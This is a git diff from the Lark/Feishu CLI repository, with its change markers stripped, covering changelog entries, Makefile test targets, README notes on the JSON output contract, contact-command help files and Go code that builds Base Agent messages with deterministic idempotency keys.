- **docs**: Hide docs `api-version` compat flag (#1580)
## [v1.0.58] - 2026-06-25
### Features
- **sheets**: Typed table I/O and error contract, workbook import/export, and skill refresh (#1355)
- **base**: Add Base URL and title resolve shortcuts (#1338)
- **drive**: Add `+member-add` shortcut with wiki space member collection collaborator support (#1204)
- **doc**: Support `create` title option (#1536)
- **doc**: Add `im-markdown` output format for doc fetch (#1550)
- **whiteboard**: Export whiteboard as SVG and update whiteboard via SVG (#1559)
- **card**: Support `card.action.trigger` event with auto-fetched card content (#1528)
- **task**: Add task event consumer (#1510)
### Bug Fixes
- **doc**: Prefix docs resource shortcuts (#1564)
- **binding**: Skip unix mode audit on Windows (#1525)
### Documentation
- **approval**: Sync approval skill for meta API commands (#1499)
- **doc**: Restore lark-doc style requirements (#1579)
- **im**: Document `chat.nickname` get/update/delete (#1378)
- **im**: Clarify audio message opus requirement (#1271)
### Build
- **ci**: Add public content safeguards and reduce false positives
## [v1.0.57] - 2026-06-23
### Features
- **slides**: Add `+screenshot` to capture slide page images (or render a single `<slide>` XML snippet), returning the local file path instead of Base64 (#1358)
- **base**: Support record comments (#1043)
- **search**: Surface search API notices (#1413)
### Bug Fixes
- **mail**: Resolve folder/label filter once per `+triage list` call (#1512)
- **meta**: Backfill enum value descriptions from options (#1541)
- **cli**: Add missing CLI headers for git credential helper (#1539)
### Documentation
- **doc**: Refine rich block, path, and block ID guidance (#1508)
- **mail**: Trim lark-mail skill context (#1527)
- **drive**: Add permission governance workflow guidance (#1292)
### Build
- **ci**: Bind semantic review to workflow run head (#1551)
## [v1.0.56] - 2026-06-18
### Features
- **apps**: Add `+session-messages-list` for session turn reply messages (#1402)
### Bug Fixes
- **api**: Align API success envelopes (#1489)
- **base**: Reject out-of-range pagination flags (#1495)
### Refactor
- Retire legacy error envelopes and enforce typed contract (#1449)
### Documentation
- **skills**: Soften lark-doc style guidance (#1463)
### Build
- Add CI quality gate with semantic review
## [v1.0.55] - 2026-06-16
### Features
- **vc**: Support agent meeting event workflows (#1483)
- **drive**: Support exporting Base structure snapshots (#1481)
- **doc**: Add docx cover resource commands (#1468)
- **doc**: Support `lang` for docx fetch v2 (#1459)
- **event**: Optimize subscription precheck, links, and consumer guard (#1447)
### Bug Fixes
- **drive**: Validate drive import folder target (#1485)
## [v1.0.54] - 2026-06-15
### Features
- **mail**: Auto-attach default signature on send/reply/forward (#1415)
- **drive**: Support `original_creator_ids` filter in search (#1046)
- **cli**: Simplify proxy plugin warning and gate it on TTY (#1448)
### Bug Fixes
- **doc**: Fix docs fetch and update ergonomics (#1466)
- **vfs**: Reject blank local paths (#1460)
- **vfs**: Reject Windows absolute paths cross-platform (#1401)
- **event**: Clarify remote bus blocker recovery (#1454)
### Refactor
- Converge command pipelines onto a typed metadata model + catalog (#1191)
### Documentation
- **im**: Document `@mention` format per message type (text/post/card) (#1419)
- **doc**: Clarify lark-doc create title guidance (#1474)
- **skills**: Add rename prompt for import without `--name` (#1461)
- **apps**: Drop Miaoda brand word from apps command help text (#1399)
## [v1.0.53] - 2026-06-12
### Features
- **auth**: Revoke user tokens server-side on `auth logout` (#1434)
- **auth**: Add `--json` flag support to auth subcommands (#1431)
- **token**: Mint TAT via unified OAuth v3 Token Endpoint (#1408)
- **note**: Split note into a dedicated domain with `+detail` and `+transcript` flows (#1345, #1417, #1435)
- **im**: Unify sort flags into `--sort` field and `--order` direction (#1302)
### Bug Fixes
- **apps**: Read release error_logs from `data.error_logs` in `+release-get` (#1436)
### Documentation
- **skills**: Optimize whiteboard skill (#1371)
- **skills**: Optimize okr skill (#1368)
## [v1.0.52] - 2026-06-11
### Features
- **events**: Per-resource subscription identity + Match hook (#1185)
- **apps**: Emit typed error envelopes across the apps domain (#1288)
- **wiki**: Emit typed error envelopes across the wiki domain (#1350)
- **im**: Add `--chat-modes` filter to chat search (#1317)
- **apps**: Exclude `.git` directory from `+html-publish` package (#1396)
- **build**: Support riscv64 prebuilt binaries in release and install pipeline
### Bug Fixes
- **apps**: Support git credential dry-run (#1390)
- **whiteboard**: Fix parsing empty whiteboard content (#1391)
- **build**: Make `-race` flag arch-conditional to support riscv64
### Documentation
- **im**: Document `chat.user_setting` batch_query/batch_update (#1339)
- **im**: Document `chat.managers` and `chat.moderation` API resources (#1294)
- **skills**: Optimize lark-drive skill routing (#1284)
- **skills**: Expand cite user guidance and fix typos (#1394)
## [v1.0.51] - 2026-06-10
### Features
- **apps**: Support multi dev modes (#1175)
- **im**: Complete audio/post rendering and add opt-in `--download-resources` (#1245)
- **base**: Configure initial base table schema (#1377)
- **vc**: Add recording event support (#1369)
- **minutes**: Replace words for transcript (#1372)
- **markdown**: Emit typed error envelopes across the markdown domain (#1347)
- **sheets**: Emit typed error envelopes across the sheets domain (#1348)
- **slides**: Emit typed error envelopes across the slides domain (#1349)
### Documentation
- **skills**: Warn about `@file` absolute path restriction in lark-doc skills (#1375)
- **skills**: Remove unsupported ⚠️ from callout emoji list (#1374)
## [v1.0.50] - 2026-06-09
### Features
- **doc**: Emit typed error envelopes across the doc domain (#1346)
- **event**: Emit typed error envelopes across the event domain (#1289)
- **contact**: Emit typed error envelopes across the contact domain (#1287)
- **sheets**: Guard `+csv-put --csv` against a path passed without `@` (#1337)
- **cli**: Adjust agent timeout hint output conditions (#1328)
### Bug Fixes
- **drive**: Add `@file`/stdin support to `+add-comment --content` (#1343)
- **slides**: Build create URL locally instead of drive metas call (#1329)
- **cli**: Clarify `--block-id` supports comma-separated batch delete in help text (#1336)
### Documentation
- **doc**: Replace append with `block_insert_after` in skeleton workflow guidance (#1340)
- **doc**: Document `<folder-manager>` resource block (#1168)
- **drive**: Add drive comment location guidance (#1258)
## [v1.0.49] - 2026-06-08
### Features
- **events**: Add whiteboard event domain with per-board subscription (#1265)
- **im**: Support feed group (#1102)
- **im**: Add feed shortcut create, list, and remove shortcuts (#1273)
- **im**: Format feed group error handling (#1308)
- **im**: Return typed error envelopes across the im domain (#1230)
- **base**: Emit typed error envelopes across the base domain (#1248)
- **calendar**: Emit typed error envelopes across the calendar domain (#1232)
- **task**: Emit typed error envelopes across the task domain (#1231)
- **okr,whiteboard**: Emit typed error envelopes across both domains (#1236)
- **minutes,vc**: Emit typed error envelopes across both domains (#1234)
- **markdown**: Harden create upload failures (#1325)
- **drive**: Harden inspect shortcut failures (#1324)
- **slides**: Add IconPark lookup for Lark slides (#1123)
- **doc**: Remove docs v1 API (#1291)
- **cli**: Add `skills` command to read embedded skill content (#1318)
- **cli**: Fetch official skills index (#1301)
- **shared**: Document relative-path-only file arguments (#1319)
- **scopes**: Clear `recommend.allow` scope auto-approve overrides (#1272)
- **shortcuts**: Check shortcut example commands against the live CLI tree (#1244)
### Bug Fixes
- **events**: Keep bounded event consume runs alive after stdin EOF (#1285)
- **drive**: Use docs secure label read scope (#1281)
### Documentation
- **approval**: Restructure skill with intent table and scope boundaries (#1307)
- **skills**: Tighten drive and markdown guardrails (#1326)
- **skills**: Optimize calendar, vc, and minutes skill guidance (#1269)
- **markdown**: Add markdown domain template (#1293)
- **markdown**: Improve lark-markdown skill guidance (#1279)
- **doc**: Improve lark-doc skill guidance (#1283)
- **wiki**: Optimize skill guidance and routing boundaries (#1275)
- **slides**: Tighten routing/boundary and reconcile in-slide whiteboard (#1169)
## [v1.0.48] - 2026-06-04
### Features
- **mail**: Preserve mailbox context in `+triage` output for public mailboxes (#1238)
- **contact**: Add contact skill domain guidance (#1144)
### Bug Fixes
- **skills**: Use JSON skills list during update (#1251)
### Documentation
- **drive**: Refine lark-drive knowledge organize workflow (#1253)
- **vc-agent**: Require explicit leave request (#1260)
- **slides**: Add whiteboard element documentation and improve slide guidance (#1029)
## [v1.0.47] - 2026-06-03
### Features
- **sheets**: Add spec-driven shortcut package with backward-compatible wrapper (#1220)
- **base**: Add base block shortcuts (#1044)
- **im**: Complete card message format (#1198)
- **im**: Improve markdown guidance for messages (#1237)
- **vc**: Forward invite call-id on meeting join (#1243)
- **drive**: Emit typed error envelopes across the drive domain (#1205)
- **common**: Emit typed validation errors from shared shortcut pre-checks (#1242)
- **mail**: Validate `message_ids` in `+messages` before batch get (#1202)
- **wiki**: Support `appid` member type (#1235)
- **cli**: Add `--json` flag as no-op alias for `--format json` (#1104)
- **config**: Validate credentials after `config init` (#1151)
### Bug Fixes
- **skills**: Recover empty fallback for skills to update (#1233)
## [v1.0.46] - 2026-06-02
### Features
- **im**: Add card message format support (#1218)
- **im**: Resolve markdown blank-line formatting inconsistency in post messages (#1216)
- **vc**: Inline transcript from artifacts API and add keywords (#1206)
- **transport**: Add proxy plugin mode for CLI HTTP transport (#1181)
- **agent**: Increase agent trace max length to 1024 (#1211)
- **shortcuts**: Unconditionally inject `--format` flag for all shortcuts (#1156)
### Bug Fixes
- **cli**: Remove FLAGS section from root `--help` (#1226)
- **cli**: Stop root `--help` listing per-command flags as global (#1223)
### Refactor
- **transport**: Own all HTTP transport in `internal/transport`, fix util layering inversion (#1213)
### Documentation
- **base**: Optimize base skill references (#1171)
- **drive**: Add Lark Drive knowledge organization workflow (#1028)
## [v1.0.45] - 2026-06-01
### Features
@@ -1608,34 +964,6 @@ Bundled AI agent skills for intelligent assistance:
- Bilingual documentation (English & Chinese).
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
[v1.0.74]: https://github.com/larksuite/cli/releases/tag/v1.0.74
[v1.0.73]: https://github.com/larksuite/cli/releases/tag/v1.0.73
[v1.0.72]: https://github.com/larksuite/cli/releases/tag/v1.0.72
[v1.0.71]: https://github.com/larksuite/cli/releases/tag/v1.0.71
[v1.0.70]: https://github.com/larksuite/cli/releases/tag/v1.0.70
[v1.0.69]: https://github.com/larksuite/cli/releases/tag/v1.0.69
[v1.0.68]: https://github.com/larksuite/cli/releases/tag/v1.0.68
[v1.0.67]: https://github.com/larksuite/cli/releases/tag/v1.0.67
[v1.0.66]: https://github.com/larksuite/cli/releases/tag/v1.0.66
[v1.0.65]: https://github.com/larksuite/cli/releases/tag/v1.0.65
[v1.0.64]: https://github.com/larksuite/cli/releases/tag/v1.0.64
[v1.0.62]: https://github.com/larksuite/cli/releases/tag/v1.0.62
[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
[v1.0.57]: https://github.com/larksuite/cli/releases/tag/v1.0.57
[v1.0.56]: https://github.com/larksuite/cli/releases/tag/v1.0.56
[v1.0.55]: https://github.com/larksuite/cli/releases/tag/v1.0.55
[v1.0.54]: https://github.com/larksuite/cli/releases/tag/v1.0.54
[v1.0.53]: https://github.com/larksuite/cli/releases/tag/v1.0.53
[v1.0.52]: https://github.com/larksuite/cli/releases/tag/v1.0.52
[v1.0.51]: https://github.com/larksuite/cli/releases/tag/v1.0.51
[v1.0.50]: https://github.com/larksuite/cli/releases/tag/v1.0.50
[v1.0.49]: https://github.com/larksuite/cli/releases/tag/v1.0.49
[v1.0.48]: https://github.com/larksuite/cli/releases/tag/v1.0.48
[v1.0.47]: https://github.com/larksuite/cli/releases/tag/v1.0.47
[v1.0.46]: https://github.com/larksuite/cli/releases/tag/v1.0.46
[v1.0.45]: https://github.com/larksuite/cli/releases/tag/v1.0.45
[v1.0.44]: https://github.com/larksuite/cli/releases/tag/v1.0.44
[v1.0.43]: https://github.com/larksuite/cli/releases/tag/v1.0.43

View File

@@ -5,25 +5,10 @@ BINARY := lark-cli
MODULE := github.com/larksuite/cli
VERSION := $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
DATE := $(shell date +%Y-%m-%d)
NODE ?= node
QUALITY_GATE_CHANGED_FROM ?= $(shell bash scripts/resolve-changed-from.sh)
QUALITY_GATE_CHANGED_FROM_RESOLVED = $(if $(strip $(QUALITY_GATE_CHANGED_FROM)),$(QUALITY_GATE_CHANGED_FROM),$(shell bash scripts/resolve-changed-from.sh))
QUALITY_GATE_DIR ?= .tmp/quality-gate
QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
LDFLAGS := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
PREFIX ?= /usr/local
# The repository's Go 1.23 CI toolchain does not support -race on riscv64.
# Prefer GOARCH passed to make (for example, `make GOARCH=riscv64 unit-test`)
# over `go env GOARCH`, because command-line make variables are not visible to
# $(shell ...).
TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
.PHONY: all build vet fmt-check script-test test unit-test live-skills-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks sidecar-test
.PHONY: all build vet fmt-check test unit-test integration-test examples-build install uninstall clean fetch_meta gitleaks
all: test
@@ -47,60 +32,21 @@ fmt-check:
exit 1; \
fi
script-test:
bash scripts/resolve-changed-from.test.sh
bash scripts/ci-workflow.test.sh
bash scripts/semantic-review-workflow.test.sh
$(NODE) --test scripts/e2e_domains.test.js scripts/fetch_e2e_tat.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
# ./extension/... keeps the public plugin SDK in the default test matrix.
unit-test: fetch_meta
go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
go test -race -gcflags="all=-N -l" -count=1 \
./cmd/... ./internal/... ./shortcuts/... ./extension/...
live-skills-test: fetch_meta
LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS=1 \
go test -v -count=1 ./cmd/update \
-run '^TestUpdateCommand_(RealSkillsSyncRewritesState|SkillsSyncColdStart)$$'
# examples-build keeps the shipped plugin-SDK examples compilable. If this
# breaks, the plugin author guide's "go build ./..." path is broken.
examples-build:
go build ./extension/platform/examples/audit-observer
go build ./extension/platform/examples/readonly-policy
# ./tests/... includes tests/plugin_e2e, which builds ~20 customer-fork
# binaries (~1 min warm; a cold module cache also downloads via GOPROXY).
# Deliberate: local `make test` exercises the L4 plugin contract by default.
integration-test: build
go test -v -count=1 ./tests/...
test: vet fmt-check script-test unit-test examples-build integration-test
quality-gate: build
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
LARKSUITE_CLI_REMOTE_META=off \
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
go run ./internal/qualitygate/cmd/manifest-export \
--manifest-out $(QUALITY_GATE_MANIFEST_OUT) \
--command-index-out $(QUALITY_GATE_COMMAND_INDEX_OUT)
LARKSUITE_CLI_APP_ID=dry-run \
LARKSUITE_CLI_APP_SECRET=dry-run \
LARKSUITE_CLI_BRAND=feishu \
LARKSUITE_CLI_CONFIG_DIR=$${TMPDIR:-/tmp}/quality-gate-cli-config \
LARKSUITE_CLI_REMOTE_META=off \
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
go run ./internal/qualitygate/cmd/quality-gate check \
--repo . \
--cli-bin ./$(BINARY) \
--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
--manifest $(QUALITY_GATE_MANIFEST_OUT) \
--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
--facts-out $(QUALITY_GATE_FACTS_OUT)
test: vet fmt-check unit-test examples-build integration-test
install: build
install -d $(PREFIX)/bin
@@ -113,14 +59,6 @@ uninstall:
clean:
rm -f $(BINARY)
# sidecar-test compiles and runs the authsidecar* build-tagged code that the
# default CI matrix never sees (they carry //go:build tags).
sidecar-test:
go build -tags authsidecar -o /dev/null .
go test $(RACE_FLAG) -count=1 -tags authsidecar ./extension/credential/sidecar/ ./extension/transport/sidecar/ ./internal/cmdutil/
go test $(RACE_FLAG) -count=1 -tags authsidecar_demo ./sidecar/server-demo/
go test $(RACE_FLAG) -count=1 -tags authsidecar ./tests/sidecar_e2e/
# Run secret-leak checks locally before pushing.
# Step 1: check-doc-tokens catches realistic-looking example tokens in reference
# docs and asks you to use _EXAMPLE_TOKEN placeholders instead.

View File

@@ -41,7 +41,7 @@ The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by t
| ✍️ Approval | Query approval tasks, approve/reject/transfer tasks, cancel and CC instances |
| 🎯 OKR | Query, create, update OKRs; manage objective & key results, alignments, indicators and progress. |
| 📋 Project | Meegle — manage work items, schedules, and data via the standalone [meegle-cli](https://github.com/larksuite/meegle-cli) (install separately) |
| 🔗 Apps | Create Spark/Miaoda apps, publish HTML/static sites, run cloud generation, and manage access scope |
| 🔗 Apps | Develop, deploy HTML, web pages and applications |
## Installation & Quick Start
@@ -198,7 +198,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
```bash
lark-cli calendar +agenda
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
```
Run `lark-cli <service> --help` to see all shortcut commands.
@@ -233,24 +233,6 @@ lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"chat_i
--format csv # Comma-separated values
```
### JSON Output Contract
With `--format json` (the default), success and error envelopes are distinct.
Success goes to **stdout**, exit code `0`:
```json
{ "ok": true, "identity": "user", "data": { "guid": "..." }, "meta": { "count": 1 } }
```
Errors go to **stderr**, non-zero exit code:
```json
{ "ok": false, "identity": "user", "error": { "type": "api", "subtype": "...", "code": 99991679, "message": "...", "hint": "..." } }
```
To check whether a command succeeded, test `ok == true` (or the exit code) — **not** `code == 0`. Unlike raw OpenAPI responses (`{"code": 0, "msg": "ok", ...}`), the success envelope carries no `code` or `msg` field; `code` appears only inside `error` as the upstream OpenAPI code. See [errs/ERROR_CONTRACT.md](errs/ERROR_CONTRACT.md) for the full error taxonomy.
### Pagination
```bash

View File

@@ -41,7 +41,7 @@
| ✍️ 审批 | 查询审批任务、同意/拒绝/转交审批任务、撤回与抄送审批实例 |
| 🎯 OKR | 查询、创建、更新 OKR管理目标、关键结果、对齐、指标和进展记录 |
| 📋 飞书项目 | 管理工作项、排期与数据 — 由独立的 [meegle-cli](https://github.com/larksuite/meegle-cli) 提供(需单独安装) |
| 🔗 应用 | 创建妙搭Spark/Miaoda应用、发布 HTML/静态站点、云端生成迭代、管理可用范围 |
| 🔗 应用 | 开发、部署 HTML、Web 页面和应用 |
## 安装与快速开始
@@ -199,7 +199,7 @@ CLI 提供三种粒度的调用方式,覆盖从快速操作到完全自定义
```bash
lark-cli calendar +agenda
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
```
运行 `lark-cli <service> --help` 查看所有快捷命令。
@@ -234,24 +234,6 @@ lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"chat_i
--format csv # 逗号分隔值
```
### JSON 输出契约
`--format json`(默认)下,成功与错误的信封结构不同。
成功信封写入 **stdout**,退出码 0
```json
{ "ok": true, "identity": "user", "data": { "guid": "..." }, "meta": { "count": 1 } }
```
错误信封写入 **stderr**,退出码非 0
```json
{ "ok": false, "identity": "user", "error": { "type": "api", "subtype": "...", "code": 99991679, "message": "...", "hint": "..." } }
```
判断命令是否成功,请检查 `ok == true`(或进程退出码),**不要用 `code == 0`**。与原始 OpenAPI 响应(`{"code": 0, "msg": "ok", ...}`)不同,成功信封没有 `code``msg` 字段;`code` 只出现在错误信封的 `error` 内,含义是上游 OpenAPI 的 numeric code。完整错误分类见 [errs/ERROR_CONTRACT.md](errs/ERROR_CONTRACT.md)。
### 分页
```bash

View File

@@ -1,66 +0,0 @@
# Affordance
Per-command usage guidance for the CLI, authored as one markdown file per domain
(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
`schema` output, and read directly at runtime (lazy, cached) — there is no build
step. Maintain these files alongside `skills/` and `shortcuts/`.
## Format
A small, fixed markdown subset; each file describes one domain:
# <domain> optional `> skill: <name>` applies to every command below
## <command> the command as typed, minus `lark-cli <domain>`; a
+-prefixed heading (## +create) targets that shortcut
<lead paragraph> when to use this command
### Avoid when when not to use it / which command to use instead
### Prerequisites what you must have first (e.g. an id, and where it comes from)
### Tips gotchas and constraints
### Examples **description** lines, each followed by a fenced command
### Skills bullet skill names, or name/relpath references
(lark-contact/references/x.md), to read for usage;
merged with the domain `> skill:` default (deduped,
domain first)
### <other heading> a custom section; flows through verbatim
Reference another command with `[[command]]` — it renders as `command` in help.
Under `Avoid when` it means "use that one instead"; under `Prerequisites`
("… from [[command]]") it means "get the input there first".
Both service-API commands (`## messages get`) and `+`-prefixed shortcuts
(`## +create`) take entries. A `### Skills` entry is a skill name (validated
against `<name>/SKILL.md`) or a `name/relpath` reference into that skill
(validated against the path); help drops any that don't resolve, so a typo shows
nothing. Point a command at its own reference (e.g. `+search-user`
`lark-contact/references/lark-contact-search-user.md`) rather than re-listing the
domain skill, which the `> skill:` default already covers. When a shortcut also
sets a hand-authored `Tips` list in Go, the overlay's `### Tips` win — they
replace the Go tips (not merged), so keep tips in one place.
## Example
## messages get
Fetch the full content of a single message by id.
### Avoid when
- Reading several at once → use [[messages batch_get]]
### Prerequisites
- message_id from [[messages list]]
### Examples
**Fetch one message**
```bash
lark-cli mail user_mailbox.messages get --message-id "<id>"
```
## Notes
- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
- Keep it concise and high-signal — don't restate field/flag names, id types, or
anything the schema and flags already show; the agent infers the rest.
- Command-form headings resolve to method ids via the registry, so plural resource
names (`messages`) map to the singular method id (`message`) automatically.
`+`-prefixed shortcut headings are matched verbatim (no plural/space folding),
so the heading must equal the shortcut command exactly (`## +history-revert`).

View File

@@ -1,55 +0,0 @@
# contact
> skill: lark-contact
## +search-user
The primary user lookup for user identity: search by keyword or email, resolve known ids with --user-ids, or get yourself with --user-ids me — it does by-id reads too, so as a user you rarely need `+get-user`. Each match returns an open_id and p2p_chat_id to chain into follow-ups.
### Skills
- lark-contact/references/lark-contact-search-user.md
### Avoid when
- Running as a bot — this shortcut is user-only; use [[+get-user]] instead (it supports bot identity)
- You only need users' personal status for ids you already hold → use [[user_profiles batch_query]]
### Examples
**Find a user by name**
```bash
lark-cli contact +search-user --query "alice" --as user
```
**Fetch known users by open_id (me = yourself)**
```bash
lark-cli contact +search-user --user-ids "ou_3a8b****6a7b,me" --as user
```
## +get-user
Fetch one user's profile by id, or your own with --user-id omitted. Use it under bot identity — `+search-user` is user-only.
### Skills
- lark-contact/references/lark-contact-get-user.md
### Avoid when
- You don't have the user's id yet, or want to match by name/keyword → use [[+search-user]]
- Running as a user — [[+search-user]] --user-ids covers by-id reads and more in one tool
### Tips
- Self lookup (omit --user-id) needs user identity; a bot must pass --user-id
- --user-id-type must match the id you pass (default open_id)
## user_profiles batch_query
Bulk-fetch personal status and signature for user ids you already have.
### Avoid when
- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
### Tips
- Off by default — set include_personal_status / include_description to true under query_option
- ids in user_ids must match --user-id-type (default open_id)
### Examples
**Bulk-query status and signature**
```bash
lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
```

View File

@@ -1,295 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package base
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"net/url"
"sort"
"strconv"
"strings"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
const baseAgentServicePath = "/open-apis/base/v3"
func callPayload[T any](ctx context.Context, rt iagents.Runtime, method, path string, query map[string]string, body any) (T, error) {
return iagents.Call[T](ctx, rt, method, path, query, body)
}
func segment(v string) string { return url.PathEscape(v) }
func agentRoot(baseToken string) string {
return baseAgentServicePath + "/bases/" + segment(baseToken) + "/ai/agents/" + segment(adapterAgentID)
}
func randomIdempotencyKey() (string, error) {
var b [16]byte
if _, err := rand.Read(b[:]); err != nil {
return "", errs.NewInternalError(errs.SubtypeUnknown,
"generate Base Agent idempotency key: %v", err).WithCause(err)
}
return "lark-cli-" + hex.EncodeToString(b[:]), nil
}
// canonicalAnswers is the single, fixed encoding both the deterministic
// message_id and idempotency_key derive from. Determinism matters across
// endpoints and retries: the backend hands the idempotency_key straight to
// CreateJob, so an identical answer submitted twice MUST hash the same, and a
// different answer MUST hash differently. Algorithm (frozen):
// - question keys sorted ascending;
// - each key's values: a ".text" free-text key keeps its single value
// verbatim (order/content preserved, never sorted); a choice key's values
// are deduplicated then sorted ascending (multi-select order is not
// semantically meaningful);
// - encoded as compact JSON with the schema version and task id, so a
// schema bump or a cross-task collision can never dedupe.
func canonicalAnswers(taskID string, answers map[string][]string) ([]byte, error) {
keys := make([]string, 0, len(answers))
for k := range answers {
keys = append(keys, k)
}
sort.Strings(keys)
normalized := make([][2]interface{}, 0, len(keys))
for _, k := range keys {
values := append([]string(nil), answers[k]...)
if _, isText := iagents.SplitAnswerKey(k); !isText {
values = dedupeSorted(values)
}
normalized = append(normalized, [2]interface{}{k, values})
}
canonical := struct {
SchemaVersion int `json:"schema_version"`
TaskID string `json:"task_id"`
Answers [][2]interface{} `json:"answers"`
}{
SchemaVersion: answersDataSchemaVersion,
TaskID: taskID,
Answers: normalized,
}
encoded, err := json.Marshal(canonical)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeUnknown,
"encode Base Agent answers: %v", err).WithCause(err)
}
return encoded, nil
}
// dedupeSorted removes exact-duplicate values and returns them sorted ascending.
func dedupeSorted(values []string) []string {
seen := make(map[string]struct{}, len(values))
out := make([]string, 0, len(values))
for _, v := range values {
if _, ok := seen[v]; ok {
continue
}
seen[v] = struct{}{}
out = append(out, v)
}
sort.Strings(out)
return out
}
// deterministicAnswerID derives the shared message_id/idempotency_key for an
// answer submission from the canonical encoding: a
// same-command retry dedupes server-side, a different answer does not.
func deterministicAnswerID(taskID string, answers map[string][]string) (string, error) {
canonical, err := canonicalAnswers(taskID, answers)
if err != nil {
return "", err
}
sum := sha256.Sum256(canonical)
return "answer_" + hex.EncodeToString(sum[:]), nil
}
func sendMessage(ctx context.Context, rt iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
p, err := iagents.BindParams[sendParams](rt)
if err != nil {
return nil, err
}
params := map[string]string{}
if p.ActiveTableID != "" {
params["active_table_id"] = p.ActiveTableID
}
msg, key, err := buildSendMessage(in)
if err != nil {
return nil, err
}
req := adapterSendRequest{
ContextID: in.ContextID,
TaskID: in.TaskID,
Message: msg,
Params: params,
IdempotencyKey: key,
Metadata: map[string]string{"channel": "lark_cli"},
}
path := agentRoot(p.BaseToken) + "/messages"
got, err := callPayload[adapterTask](ctx, rt, "POST", path, nil, req)
if err != nil {
return nil, err
}
return mapTask(got, true)
}
// buildSendMessage assembles the wire message and its idempotency key for a
// send. An answer send (in.Answers non-empty) carries a single kind=answers
// DataPart — never a text part, since Base rejects an answer remark — and uses
// a deterministic id shared by message_id and idempotency_key. Every other send
// carries the free text and a random id (a new task/turn is a new logical
// message each time).
func buildSendMessage(in iagents.SendInput) (adapterMessage, string, error) {
if len(in.Answers) > 0 {
id, err := deterministicAnswerID(in.TaskID, in.Answers)
if err != nil {
return adapterMessage{}, "", err
}
data, err := json.Marshal(answersDataPart{
Kind: answersDataKind,
SchemaVersion: answersDataSchemaVersion,
Payload: answersDataPayload{Answers: in.Answers},
})
if err != nil {
return adapterMessage{}, "", errs.NewInternalError(errs.SubtypeUnknown,
"encode Base Agent answers data part: %v", err).WithCause(err)
}
msg := adapterMessage{
MessageID: id,
Role: "user",
Parts: []adapterPart{{Type: "data", Data: json.RawMessage(data)}},
}
return msg, id, nil
}
key, err := randomIdempotencyKey()
if err != nil {
return adapterMessage{}, "", err
}
msg := adapterMessage{Role: "user", Parts: []adapterPart{{Type: "text", Text: in.Text}}}
return msg, key, nil
}
func getTask(ctx context.Context, rt iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
p, err := iagents.BindParams[getTaskParams](rt)
if err != nil {
return nil, err
}
path := agentRoot(p.BaseToken) + "/tasks/" + segment(taskID)
query := map[string]string{}
putQuery(query, "context_id", p.ContextID)
got, err := callPayload[adapterTask](ctx, rt, "GET", path, query, nil)
if err != nil {
return nil, err
}
return mapTask(got, false)
}
func listTasks(ctx context.Context, rt iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
if strings.TrimSpace(contextID) == "" {
return nil, iagents.PageInfo{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"base:assistant task list requires --context-id").WithParam("--context-id").
WithHint("pass --context-id <context-id> from a Base Agent task or context response")
}
p, err := iagents.BindParams[listTasksParams](rt)
if err != nil {
return nil, iagents.PageInfo{}, err
}
